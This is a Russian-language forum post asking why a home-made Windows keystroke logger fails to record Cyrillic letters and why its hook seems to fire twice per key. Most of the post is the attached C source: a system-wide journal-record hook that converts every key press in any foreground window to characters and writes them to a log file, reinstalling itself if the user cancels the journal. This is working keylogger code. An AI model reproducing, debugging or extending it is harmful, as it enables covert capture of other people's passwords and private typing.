Возникла проблема с отловом русских букв. Если расклада английская, то все записывается, а на русской раскладке в лог ничего не пишется. Причем, если в функции "HookProc", вызвать MessageBox, то она покажет что русская буква была.Также сразу после вызова MessageBox, почему-то выскакивает еще одна MessageBox. Я так понимаю, что HookProc вызывается дважды при нажатии на одну клавишу. Почему это происходит? Судя по всему я что-то не "догоняю". Код прилагается: Код (Text): #include <stdio.h> #include <windows.h> void InstallHook (HINSTANCE hInst); LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam); HANDLE hHook, fHANDLE; int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; fHANDLE=CreateFile ("123.txt", GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, 0); InstallHook (hInstance); while (GetMessage(&msg, 0, 0, 0)) { if (msg.message==WM_CANCELJOURNAL) InstallHook (hInstance); DispatchMessage(&msg); } UnhookWindowsHookEx (hHook); CloseHandle (fHANDLE); return 0; } void InstallHook (HINSTANCE hInst) { hHook=SetWindowsHookEx (WH_JOURNALRECORD, HookProc, hInst, 0); return; } LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam) { EVENTMSG *evm; DWORD ScanCode, threadID, processID, PARAM; BYTE VirtCode; char keystate[256], buf1[2]={"\0\0"}; WORD buf; int value; HKL activeHKL; static int BS_NUM=0, FIRST_WRITE=1; if (nCode==HC_ACTION) { evm=(EVENTMSG*)lParam; if (evm->message==WM_KEYDOWN) { PARAM=(evm->paramL); VirtCode=(evm->paramL & 0xFF); ScanCode=((PARAM & 0xFF00) >> 8); GetKeyboardState (keystate); threadID=GetWindowThreadProcessId (GetForegroundWindow(), &processID); activeHKL=GetKeyboardLayout (threadID); value=ToAsciiEx (VirtCode, ScanCode, keystate, &buf, 0, activeHKL); //buf1[0]=*(char*)&buf; //MessageBox (0, buf1, "Hook", MB_OK); if (!(*((char*)&buf)<0x20) || *((char*)&buf)==0x08) { if (*((char*)&buf)==0x08) BS_NUM++; else { if (FIRST_WRITE) { SetFilePointer (fHANDLE, 0, 0, FILE_END); WriteFile (fHANDLE, (char*)&buf, 1, &value, 0); FIRST_WRITE=0; goto Loop1; } SetFilePointer (fHANDLE, -BS_NUM, 0, FILE_CURRENT); WriteFile (fHANDLE, (char*)&buf, 1, &value, 0); BS_NUM=0; } } } } Loop1: CallNextHookEx (hHook, nCode, wParam, lParam); return 0; }